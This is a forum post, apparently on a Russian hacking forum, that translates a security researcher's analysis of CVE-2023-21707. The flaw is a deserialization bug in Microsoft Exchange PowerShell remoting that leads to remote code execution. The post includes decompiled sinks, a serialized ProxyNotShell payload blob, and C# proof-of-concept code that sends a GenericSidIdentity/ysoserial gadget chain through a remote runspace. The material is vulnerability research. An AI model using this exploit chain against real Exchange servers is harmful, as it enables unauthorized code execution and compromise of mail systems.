• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Десериализация для удаленного взаимодействия с Microsoft Exchange Powershell

imanotape

HDD-drive
Пользователь
Регистрация
28.10.2022
Сообщения
31
Реакции
39
Гарант сделки
3
Оригинал тут https://starlabs.sg/blog/2023/04-mi...eserialization-leading-to-rce-cve-2023-21707/


Десериализация для удаленного взаимодействия с Microsoft Exchange Powershell, ведущая к выполнение удаленного кода (CVE-2023-21707)

28 апреля 2023 г. · 6 мин · Нгуен Тьен Джанг (Чан)

Содержание

Введение

Анализируя проблему CVE-2022-41082, также известную под названием ProxyNotShell, мы обнаружили уязвимость, подробно описанную в данном блоге. Однако для всестороннего понимания мы настоятельно рекомендуем ознакомиться с комплексным анализом, написанным командой ZDI.

Для облегчения понимания мы даем визуальное представление CVE-2022-41082, показанное ниже.
Screenshot_3.png


Приемник ProxyNotShell:

//System.Management.Automation.InternalDeserializer.ReadOneObject()

internal object ReadOneObject(out string streamName)

{

//...

Type targetTypeForDeserialization = psobject.GetTargetTypeForDeserialization(this._typeTable); //[1]

if (null != targetTypeForDeserialization)

{

Exception ex = null;

try

{

object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization, true, CultureInfo.InvariantCulture, this._typeTable); //[2]

}

//...

}

В [2], если targetTypeForDeserialization != пустое значение, он продолжит вызывать LanguagePrimitives.ConvertTo() для преобразования исходного объекта obj в тип, заданный параметром targetTypeForDeserialization.

Метод LanguagePrimitives.ConvertTo() ранее упоминался в разделе гаджетов PSObject статьи «Пятница, 13е, атака JSON». В статье также рассматриваются несколько возможных способов использования данного метода:

  • Вызвать конструктор с 1 аргументом
  • Вызвать метод установки
  • Вызвать статический метод «синтаксический анализ (строка)» [метод 3]
  • Вызвать специальную процедуру преобразования [метод 4]
Уязвимость CVE-2022-41082 подразумевает использование LanguagePrimitives.ConvertTo() дважды с разными подходами.

  • При первом применении используется [метод 4] для воспроизведения типа XamlReader. Для этого используется специальный метод преобразования Microsoft.Exchange.Data.SerializationTypeConverter.ConvertFrom() -> DeserializeObject(), в котором для десериализации данных используется BinaryFormatter с белым списком. Если тип десериализации — System.Type, тип целевого объекта будет System.UnitySerializationHolder, он также имеется в белом списке.
  • Во второй раз процесс использует [метод 3] для инициирования вызова статического метода XamlReader.Parse(string), который затем запускает уязвимость выполнения удаленного кода (RCE). Стоит отметить, что XamlReader — это десериализованный тип, полученный из step 1.
Самая последняя корректирующая вставка CVE-2022-41082 вводит новую команду UnitySerializationHolderSurrogateSelector, которая проверяет тип целевого объекта в процессе десериализации System.UnitySerializationHolder. Следовательно, дальше невозможно использовать эту уязвимость для вызова Type.Parse(string). Такое исправление эффективно снижает риск того, что злоумышленники воспользуются уязвимостью для выполнения произвольного кода.

Новый вариант

Рассмотрим подробнее [метод 3] LanguagePrimitives.ConvertTo(), в решении Exchange реализована специальная процедура преобразования типов PowerShell: SerializationTypeConverter, метод SerializationTypeConverter.ConvertFrom() напрямую вызовет DeserializeObject [3]:

public override object ConvertFrom(object sourceValue, Type destinationType, IFormatProvider formatProvider, bool ignoreCase)

{

return this.DeserializeObject(sourceValue, destinationType); //[3]

}

private object DeserializeObject(object sourceValue, Type destinationType)

{

if (!this.CanConvert(sourceValue, destinationType, out array, out text, out ex)) //[4]

{

throw ex;

}

//...

using (MemoryStream memoryStream = new MemoryStream(array))

{

AppDomain.CurrentDomain.AssemblyResolve += SerializationTypeConverter.AssemblyHandler;

try

{

int tickCount = Environment.TickCount;

obj = this.Deserialize(memoryStream); //[5]

//...

}

private bool CanConvert(object sourceValue, Type destinationType, out byte[] serializationData, out string stringValue, out Exception error)

{

PSObject psobject = sourceValue as PSObject;

//...

object value = psobject.Properties["SerializationData"].Value; //[6]

if (!(value is byte[]))

{

error = new NotSupportedException(DataStrings.ExceptionUnsupportedDataFormat(value));

return false;

}

//...

stringValue = psobject.ToString();

serializationData = value as byte[];



}



internal object Deserialize(MemoryStream stream)

{

bool strictModeStatus = Serialization.GetStrictModeStatus(DeserializeLocation.SerializationTypeConverter);

return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.SerializationTypeConverter, strictModeStatus, SerializationTypeConverter.allowedTypes, SerializationTypeConverter.allowedGenerics).Deserialize(stream); //[7]

}

В DeserializeObject, метод CanConvert() получит свойство SerializationData из исходного PSObject в виде массива байтов, как указано в [6], а затем напрямую преобразуется в SerializationTypeConverter.Deserialize() -> BinaryFormatter.Deserialize(), как указано в [7].

В полезных данных ProxyNotShell данные сериализации SerializationData представлены следующим образом:

<BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>

Десериализацию, ведущую к выполнению удаленного кода (RCE), можно предотвратить, используя белый список SerializationTypeConverter.allowedTypes, который содержит около 1200 разрешенных типов.

Screenshot_4.png


При ближайшем рассмотрении этого белого списка был обнаружен новый вариант 41082, получивший название CVE-2023-21707. Один из разрешенных типов в белом списке —Microsoft.Exchange.Security.Authentication.GenericSidIdentity. Используя этот белый список и включив определенные разрешенные типы, можно значительно снизить риск десериализации, ведущей к выполнение удаленного кода.

Screenshot_5.png


Дерево наследования для GenericSidIdentity:

GenericSidIdentity

ClientSecurityContextIdentity

System.Security.Principal.GenericIdentity

System.Security.Claims.ClaimsIdentity <---

Если у вас есть опыт работы с десериализацией .NET, вы сможете быстро распознать класс ClaimsIdentity. Этот класс включен в цепочку гаджетов известного инструмента ysoserial.net.

Screenshot_6.png


Microsoft.Exchange.Security.Authentication.GenericSidIdentity — это подкласс ClaimsIdentity. Во время десериализации сначала воспроизводится объект ClaimsIdentity, а затем вызывается ClaimsIdentity.OnDeserializedMethod().

Это дает возможность для его применения, поскольку мы можем использовать это поведение для нарушения работы системы, чтобы активировать выполнение удаленного кода во время второй фазы десериализации.

Предоставление полезных данных

Несмотря на сохраняющуюся базовую ошибку, реализация корректирующей вставки ProxyNotShell эффективно нейтрализовала уязвимость SSRF, которая ранее присутствовала в точке входа автообнаружения. Следовательно, предыдущий метод пересылки полезных данных больше не работает.

После нескольких дней расследования я обнаружил, что удаленный доступ к точке входа powershell по-прежнему возможен, хотя и с ограничением, которое ограничивает доступ исключительно протоколом HTTP:

Screenshot_7.png


Чтобы сделать это на программном уровне, можно использовать WSManConnectionInfo и RunspaceFactory.CreateRunspace() для установки сеанса powershell для целевого сервера Exchange Server:

string userName = "john";

string password = "";

string uri = "http://exchange.lab.local/powershell";

PSCredential remoteCredential = new PSCredential(userName, ToSecureString(password));

WSManConnectionInfo wsmanConnectionInfo = new WSManConnectionInfo(uri, "http://schemas.microsoft.com/powershell/Microsoft.Exchange", credentials);



wsmanConnectionInfo.AuthenticationMechanism = this.authType;

wsmanConnectionInfo.MaximumConnectionRedirectionCount = 5;

wsmanConnectionInfo.SkipCACheck = true;

wsmanConnectionInfo.SkipCNCheck = true;



this.runspace = RunspaceFactory.CreateRunspace(wsmanConnectionInfo);

this.runspace.Open();

После этого мы можем создать сеанс PowerShell с созданным пространством выполнения и командой вызова. Для передачи полезных данных можно передавать их в качестве аргумента следующим образом:

object payload = new Payload();

using (PowerShell powerShell = PowerShell.Create())

{

powerShell.Runspace = this.runspace;

powerShell.AddCommand("get-mailbox");

powerShell.AddArgument(payload);

powerShell.Invoke();

}

Следует отметить один важный аспект: функция PowerShell.AddArgument(object) может принимать любой объект в качестве аргумента.

Этот шаг сходен с процессом создания полезных данных в ProxyNotShell, но вместо того, чтобы создавать его вручную, мы выполняем его программным образом. Используя эту функцию, мы можем в динамическом режиме добавлять аргументы в команду PowerShell, что обеспечивает большую гибкость и индивидуальную настройку нашего подхода.

Содержимое класса Payload:

using System;

public class Payload: Exception

{

private byte[] _serializationData;



public byte[] SerializationData

{

get => _serializationData;

set => _serializationData = value;

}



public Payload(byte[] serializationData)

{

SerializationData = serializationData;

}

}

Для обеспечения надлежащей функциональности необходимо, чтобы этот конкретный класс наследовал тип System.Exception, как подробно описывается в статье. Кроме того, в класс должно быть включено публичное свойство SerializationData, которое будет служить контейнером для цепочки гаджетов обхода GenericSidIdentity.

Для этого мы создаем объект GenericSidIdentity и устанавливаем его в поле m_serializedClaims на значение фактической цепочки гаджетов RCE, которую можно создать с помощью ysoserial.

Хотя для этого существуют различные методы, в своем доказательстве правильности концепции я решил создать новый класс, который наследуется от GenericIdentity:

Screenshot_8.png


Для успешной реализации эксплойта необходимо, чтобы выполнялись определенные предварительные условия:

  • Компьютер злоумышленника должен иметь доступ к порту 80 целевого сервера Exchange Server.
  • В качестве метода аутентификации точки входа PowerShell должен использоваться протокол Цербер (в отличие от NTLM), который требует доступа к порту 88 контроллера домена во время запуска эксплойта.
Следует отметить, что данный эксплойт не подходит для сервера Exchange Server с выходом в Интернет из-за его технических ограничений.

На приведенных ниже изображениях показано успешное использование кода, включая доказательство выполнения и информацию о полученному в результате стеке вызовов.

Screenshot_9.png
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх